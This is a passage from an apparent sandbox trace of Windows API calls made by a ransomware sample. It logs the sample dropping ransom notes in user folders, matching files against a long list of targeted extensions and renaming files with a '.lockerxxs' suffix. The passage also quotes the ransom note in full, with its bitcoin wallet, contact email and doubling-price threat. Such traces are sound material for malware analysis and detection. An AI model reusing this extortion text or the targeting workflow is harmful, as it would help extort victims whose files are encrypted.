HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\") returned="" [0088.099] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\HOW TO DECRYPT FILES.txt" [0088.099] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\how to decrypt files.txt")) returned 0xffffffff [0088.099] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.100] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.100] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.102] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.102] CloseHandle (hObject=0x94) returned 1 [0088.102] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0088.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.ems") returned 0 [0088.102] lstrlenA (lpString="*.ems") returned 5 [0088.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.db") returned 0 [0088.102] lstrlenA (lpString="*.db") returned 4 [0088.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.dbf") returned 0 [0088.102] lstrlenA (lpString="*.dbf") returned 5 [0088.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.myox") returned 0 [0088.102] lstrlenA (lpString="*.myox") returned 6 [0088.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.myo") returned 0 [0088.103] lstrlenA (lpString="*.myo") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbw") returned 0 [0088.103] lstrlenA (lpString="*.qbw") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbb") returned 0 [0088.103] lstrlenA (lpString="*.qbb") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbm") returned 0 [0088.103] lstrlenA (lpString="*.qbm") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbo") returned 0 [0088.103] lstrlenA (lpString="*.qbo") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbx") returned 0 [0088.103] lstrlenA (lpString="*.qbx") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qba") returned 0 [0088.103] lstrlenA (lpString="*.qba") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qby") returned 0 [0088.103] lstrlenA (lpString="*.qby") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qbj") returned 0 [0088.103] lstrlenA (lpString="*.qbj") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.ofx") returned 0 [0088.103] lstrlenA (lpString="*.ofx") returned 5 [0088.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.qif") returned 0 [0088.104] lstrlenA (lpString="*.qif") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.mye") returned 0 [0088.104] lstrlenA (lpString="*.mye") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.mbox") returned 0 [0088.104] lstrlenA (lpString="*.mbox") returned 6 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.eml") returned 0 [0088.104] lstrlenA (lpString="*.eml") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.pst") returned 0 [0088.104] lstrlenA (lpString="*.pst") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.ost") returned 0 [0088.104] lstrlenA (lpString="*.ost") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.idx") returned 0 [0088.104] lstrlenA (lpString="*.idx") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.dbx") returned 0 [0088.104] lstrlenA (lpString="*.dbx") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.sql") returned 0 [0088.104] lstrlenA (lpString="*.sql") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.mdb") returned 0 [0088.104] lstrlenA (lpString="*.mdb") returned 5 [0088.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.fdb") returned 0 [0088.105] lstrlenA (lpString="*.fdb") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.wab") returned 0 [0088.105] lstrlenA (lpString="*.wab") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.dat") returned 0 [0088.105] lstrlenA (lpString="*.dat") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.txt") returned 0 [0088.105] lstrlenA (lpString="*.txt") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.jpeg") returned 0 [0088.105] lstrlenA (lpString="*.jpeg") returned 6 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.jpg") returned 0 [0088.105] lstrlenA (lpString="*.jpg") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.png") returned 0 [0088.105] lstrlenA (lpString="*.png") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.php") returned 0 [0088.105] lstrlenA (lpString="*.php") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.cs") returned 0 [0088.105] lstrlenA (lpString="*.cs") returned 4 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.cpp") returned 0 [0088.105] lstrlenA (lpString="*.cpp") returned 5 [0088.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.rar") returned 0 [0088.105] lstrlenA (lpString="*.rar") returned 5 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.zip") returned 0 [0088.106] lstrlenA (lpString="*.zip") returned 5 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.html") returned 0 [0088.106] lstrlenA (lpString="*.html") returned 6 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.htm") returned 0 [0088.106] lstrlenA (lpString="*.htm") returned 5 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.xlsx") returned 0 [0088.106] lstrlenA (lpString="*.xlsx") returned 6 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.xls") returned 0 [0088.106] lstrlenA (lpString="*.xls") returned 5 [0088.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.mp4") returned 0 [0088.106] lstrlenA (lpString="*.mp4") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.ppt") returned 0 [0088.107] lstrlenA (lpString="*.ppt") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.pptx") returned 0 [0088.107] lstrlenA (lpString="*.pptx") returned 6 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.doc") returned 0 [0088.107] lstrlenA (lpString="*.doc") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.dot") returned 0 [0088.107] lstrlenA (lpString="*.dot") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.docx") returned 0 [0088.107] lstrlenA (lpString="*.docx") returned 6 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.7z") returned 0 [0088.107] lstrlenA (lpString="*.7z") returned 4 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.tar") returned 0 [0088.107] lstrlenA (lpString="*.tar") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.bz2") returned 0 [0088.107] lstrlenA (lpString="*.bz2") returned 5 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.gz") returned 0 [0088.107] lstrlenA (lpString="*.gz") returned 4 [0088.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", pszSpec="*.mkv") returned 0 [0088.108] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0088.108] lstrcmpA (lpString1=".", lpString2="Recent") returned -1 [0088.108] lstrcmpA (lpString1="..", lpString2="Recent") returned -1 [0088.108] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="MSO1033.acl" [0088.108] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0088.108] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d5ee, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.110] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.110] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0088.110] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.110] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.110] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90b3d80, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0088.110] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.110] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Global.LNK") returned -1 [0088.110] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Global.LNK") returned 1 [0088.110] lstrcmpiA (lpString1="", lpString2="Global.LNK") returned -1 [0088.110] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*.*") returned="*.*" [0088.110] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0088.110] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="" [0088.110] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" [0088.110] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\how to decrypt files.txt")) returned 0xffffffff [0088.110] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.114] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.114] CloseHandle (hObject=0x98) returned 1 [0088.114] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0088.114] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK", pszSpec="*.ems") returned 0 [0088.114] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x34, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.115] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.115] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.115] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.115] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.115] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="Global.LNK" [0088.115] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0088.115] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="" [0088.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" [0088.115] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\how to decrypt files.txt")) returned 0x2020 [0088.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0088.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", pszSpec="*.ems") returned 0 [0088.115] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0088.115] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0088.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat." [0088.116] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.lockerxxs" [0088.116] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.118] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x34 [0088.118] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5dc5d150, dwHighDateTime=0x1d2dda4), lpLastAccessTime=0x407536*(dwLowDateTime=0x5dc5d150, dwHighDateTime=0x1d2dda4), lpLastWriteTime=0x40753e*(dwLowDateTime=0x90d9ee0, dwHighDateTime=0x1d305fe)) returned 1 [0088.118] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.118] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xe, lpOverlapped=0x0) returned 1 [0088.120] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="index.dat" [0088.120] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, 